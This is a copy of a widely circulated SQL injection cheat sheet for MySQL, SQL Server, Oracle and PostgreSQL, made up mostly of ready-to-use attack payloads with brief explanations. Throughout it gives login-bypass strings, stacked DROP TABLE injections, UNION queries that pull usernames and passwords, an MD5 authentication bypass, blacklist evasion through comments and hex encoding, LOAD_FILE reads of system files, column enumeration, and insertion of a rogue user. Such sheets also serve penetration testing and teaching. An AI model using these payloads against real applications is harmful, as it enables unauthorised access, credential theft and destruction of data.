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sql injection cheat sheet

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sql injection cheat sheet

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SQL Injection Cheat Sheet

    sql injection, security, web application security, web uygulamasi

    guvenligi, english, 15.03.2007

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SQL Injection Cheat Sheet, Document Version 1.4

    About SQL Injection Cheat Sheet

    Currently only for MySQL and Microsoft SQL Server, some ORACLE and some PostgreSQL. Most of samples are not correct for every single situation. Most of the real world environments may change because of parenthesis, different code bases and unexpected, strange SQL sentences.

    Samples are provided to allow reader to get basic idea of a potential attack and almost every section includes a brief information about itself. M : MySQL

    S : SQL Server

    P : PostgreSQL

    O : Oracle

    + : Possibly all other databases

    Examples;

    ; (MS) means : MySQL and SQL Server etc.

    ; (M*S) means : Only in some versions of MySQL or special conditions

    see related note and SQL Server

    Table Of Contents

    1. About SQL Injection Cheat Sheet

    2. Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

    1. Line Comments

    ; SQL Injection Attack Samples

    2. Inline Comments

    ; Classical Inline Comment SQL Injection Attack Samples

    ; MySQL Version Detection Sample Attacks

    3. Stacking Queries

    ; Language / Database Stacked Query Support Table

    ; About MySQL and PHP

    ; Stacked SQL Injection Attack Samples

    4. If Statements

    ; MySQL If Statement

    ; SQL Server If Statement

    ; If Statement SQL Injection Attack Samples

    5. Using Integers

    6. String Operations

    ; String Concatenation

    7. Strings without Quotes

    ; Hex based SQL Injection Samples

    8. String Modification & Related

    9. Union Injections

    ; UNION Fixing Language Issues

    10.Bypassing Login Screens

    11.Enabling xp_cmdshell in SQL Server 2005

    12.Other parts are not so well formatted but check out by

     yourself, drafts, notes and stuff, scroll down and see.

    Syntax Reference, Sample Attacks and Dirty SQL

    Injection Tricks

    Ending / Commenting Out / Line Comments

Line Comments

    Comments out rest of the query.

    Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.

    ; -- (SM)

    DROP sampletable;--

    ; # (M)

    DROP sampletable;#

    Line Comments Sample SQL Injection Attacks

    ; Username: admin'--

    ; SELECT * FROM members WHERE username = 'admin'--' AND password =

    'password'

    This is going to log you as admin user, because rest of the SQL query

    will be ignored.

    Inline Comments

    Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.

    ; /*Comment Here*/ (SM)

    ; DROP/*comment*/sampletable

    ; DR/**/OP/*bypass blacklisting*/sampletable

    ; SELECT/*avoid-spaces*/password/**/FROM/**/Members

    ; /*! MYSQL Special SQL */ (M)

    This is a special comment syntax for MySQL. It’s perfect for

    detecting MySQL version. If you put a code into this comments it’s

    going to execute in MySQL only. Also you can use this to execute

    some code only if the server is higher than supplied version.

    SELECT /*!32302 1/0, */ 1 FROM tablename

    Classical Inline Comment SQL Injection Attack Samples

    ; ID: 10; DROP TABLE members /*

    Simply get rid of other stuff at the end the of query. Same as 10;

    DROP TABLE members --

    ; SELECT /*!32302 1/0, */ 1 FROM tablename

    Will throw an divison by 0 error if MySQL version is higher than

    3.23.02

    MySQL Version Detection Sample Attacks

    ; ID: /*!32302 10*/

    ; ID: 10

    You will get the same response if MySQL version is higher than

    3.23.02

    ; SELECT /*!32302 1/0, */ 1 FROM tablename

    Will throw an divison by 0 error if MySQL version is higher than

    3.23.02

    Stacking Queries

    Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.

    ; ; (S)

    SELECT * FROM members; DROP members--

    Ends a query and starts a new one.

    Language / Database Stacked Query Support Table

    green: supported, dark gray: not supported, light gray: unknown

     SQL Server MySQL PostgreSQL ORACLE MS Access

    ASP

    ASP.NET

    PHP

    Java

About MySQL and PHP;

    To clarify some issues;

    PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries (I'm sure for ORACLE, not quite sure about other databases).

    Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure.

     Can someone clarify?

    Stacked SQL Injection Attack Samples

    ; ID: 10;DROP members --

    ; SELECT * FROM products WHERE id = 10; DROP members--

    This will run DROP members SQL sentence after normal SQL Query.

    If Statements

    Get response based on a if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.

    MySQL If Statement

    ; IF(condition,true-part,false-part) (M)

    SELECT IF(1=1,'true','false')

    SQL Server If Statement

    ; IF condition true-part ELSE false-part (S)

    IF (1=1) SELECT 'true' ELSE SELECT 'false'

    If Statement SQL Injection Attack Samples

    if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)

    This will throw an divide by zero error if current logged user is not "sa" or "dbo".

    Using Integers

    Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.

    ; 0xHEXNUMBER (SM)

    You can write hex like these;

    SELECT CHAR(0x66) (S)

    SELECT 0x5045 (this is not an integer it will be a string from Hex)

    (M)

    SELECT 0x50 + 0x45 (this is integer now!) (M)

    String Operations

    String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.

    String Concatenation

    ; + (S)

    SELECT login + '-' + password FROM members

    ; || (*MO)

    SELECT login || '-' || password FROM members

    *About MySQL "||";

    If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. Better way to do it is using CONCAT() function in MySQL.

    ; CONCAT(str1, str2, str3, ...) (M)

    Concatenate supplied strings.

    SELECT CONCAT(login, password) FROM members

    Strings without Quotes

    These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.

    ; 0x457578 (M) - Hex Representation of string

    SELECT 0x457578

    This will be selected as string in MySQL.

    In MySQL easy way to generate hex representations of strings use

    this;

    SELECT CONCAT('0x',HEX('c:\\boot.ini'))

    ; Using CONCAT() in MySQL

    SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)

    This will return ‘KLM’.

    ; SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)

    This will return ‘KLM’.

    Hex based SQL Injection Samples

    ; SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)

    This will show the content of c:\boot.ini

    String Modification & Related

    ; ASCII() (SMP)

    Returns ASCII character value of leftmost character. A must have

    function for Blind SQL Injections.

    SELECT ASCII('a')

    ; CHAR() (SM)

    Convert an integer of ASCII.

    SELECT CHAR(64)

    Union Injections

    With union you do SQL queries cross-table. Basically you can poison query to return records from another table.

    SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members This will combine results from both news table and members table and return all of them.

    Another Example :

    ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

    UNION Fixing Language Issues

    While exploiting Union injections sometimes you get errors because of different language settings (table settings, field settings, combined

    ) these functions are quite useful to fix this table / db settings etc.

    problem. It's rare but if you dealing with Japanese, Russian, Turkish etc.

    applications then you will see it.

    ; SQL Server (S)

    Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other

    valid one - check out SQL Server documentation.

    SELECT header FROM news UNION ALL SELECT name COLLATE

    SQL_Latin1_General_Cp1254_CS_AS FROM members

    ; MySQL (M)

    Hex() for every possible issue

    Bypassing Login Screens (SMO+)

    , Login tricks SQL Injection 101

    ; admin' --

    ; admin' #

    ; admin'/*

    ; ' or 1=1--

    ; ' or 1=1#

    ; ' or 1=1/*

    ; ') or '1'='1--

    ; ') or ('1'='1--

    ; ....

    ; Login as different user (SM*)

    ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1-- *Old versions of MySQL doesn't support union queries

    Bypassing second MD5 hash check login screens If application is first getting the record by username and then compare returned MD5 with supplied password's MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.

    Bypassing MD5 Hash Check Example (MSP)

    Username : admin

    Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

    81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

Error Based - Find Columns Names

    Finding Column Names with HAVING BY - Error Based (S)

    In the same order,

    ; ' HAVING 1=1 --

    ; ' GROUP BY table.columnfromerror1 HAVING 1=1 --

    ; ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --

    ; ' GROUP BY table.columnfromerror1, columnfromerror2,

    columnfromerror(n) HAVING 1=1 -- and so on

    ; If you are not getting any more error then it's done. Finding how many columns in SELECT query by ORDER BY (MSO+) Finding column number by ORDER BY can speed up the UNION SQL Injection process.

    ; ORDER BY 1--

    ; ORDER BY 2--

    ; ORDER BY N-- so on

    ; Keep going until get an error. Error means you found the number of

    selected columns.

    Data types, UNION, etc.

    Hints,

    ; Always use UNION with ALL because of image similiar non-distinct

    field types. By default union tries to get records with distinct.

    ; To get rid of unrequired records from left table use -1 or any not

    exist record search in the beginning of query (if injection is in

    ). This can be critical if you are only getting one result at WHERE

    a time.

    ; Use NULL in UNION injections for most data type instead of trying

    to guess string, date, integer etc.

    o Be careful in Blind situtaions may you can understand error

    is coming from DB or application itself. Because languages

    like ASP.NET generally throws errors while trying to use NULL

    values (because normally developers are not expecting to see

    ) NULL in a username field

    Finding Column Type

    ; ' union select sum(columntofind) from users-- (S)

    Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

    [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average

    aggregate operation cannot take a varchar data type as an argument.

    column is numeric. If you are not getting error it means

    ; Also you can use CAST() or CONVERT()

    o SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null,

    NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL,

    NULL, NULL, NULL, NULL, NULL, NULl, NULL--

    ; 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 -

    No Error - Syntax is right. MS SQL Server Used. Proceeding.

    ; 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 -

    No Error First column is an integer.

    ; 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --

    Error! Second column is not an integer.

    ; 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-

    No Error Second column is a string.

    ; 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-

    Error! Third column is not an integer. ...

    Microsoft OLE DB Provider for SQL Server error '80040e07'

    Explicit conversion from data type int to image is not allowed. You’ll get convert() errors before union target errors ! So start with

    convert() then union

    Simple Insert (MSO+)

    '; insert into users values( 1, 'hax0r', 'coolpass', 9 )/* Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

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